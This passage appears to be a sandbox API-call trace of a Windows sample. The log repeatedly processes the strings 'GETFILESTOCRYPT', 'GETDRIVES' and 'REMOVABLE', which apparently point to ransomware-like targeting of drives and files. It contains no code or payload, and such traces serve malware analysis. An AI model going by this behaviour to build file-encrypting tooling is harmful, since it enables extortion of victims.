lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.954] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.955] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.955] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.955] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.955] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.955] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.955] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.955] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.955] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.956] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.956] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.956] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.956] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.956] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.956] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.956] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.956] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.957] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.957] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.957] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.957] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.959] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.959] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.959] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.959] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.959] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.959] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.959] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.960] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.960] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.960] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.960] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.960] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.960] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.960] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.961] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.961] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.961] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.961] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.961] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.962] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.962] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.962] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.962] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.962] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.962] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.963] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.963] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.963] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.963] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.963] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.963] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.964] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.964] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.964] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.964] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.964] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.964] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.965] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.965] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.965] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.965] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.965] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.965] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.966] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.966] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.966] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.966] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.966] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.966] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.966] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.966] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.966] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.967] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.967] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.967] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.973] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.973] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.974] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.974] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.974] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.974] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.974] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.974] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.974] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.974] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.975] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.975] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.976] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.976] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.976] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.976] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.977] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.977] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.977] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.977] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.978] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.978] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.978] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.978] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.978] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.979] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.980] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.980] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.980] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.980] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.981] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.981] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.981] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.981] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.981] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.981] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.981] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.982] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.982] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.982] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.982] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.983] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.983] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.983] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.983] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.984] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.984] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.984] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.984] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.985] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.985] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.985] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.986] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.987] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.987] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.987] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.987] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.987] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.987] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.987] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.988] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.988] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.988] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.988] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.988] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.988] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.989] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.989] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.989] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.989] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.989] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.990] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.990] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.990] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.990] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.991] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.991] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0085.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.991] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.003] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.003] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.003] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.003] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.003] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.003] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.004] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.004] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.004] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.004] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.004] CharUpperBuffW (in: 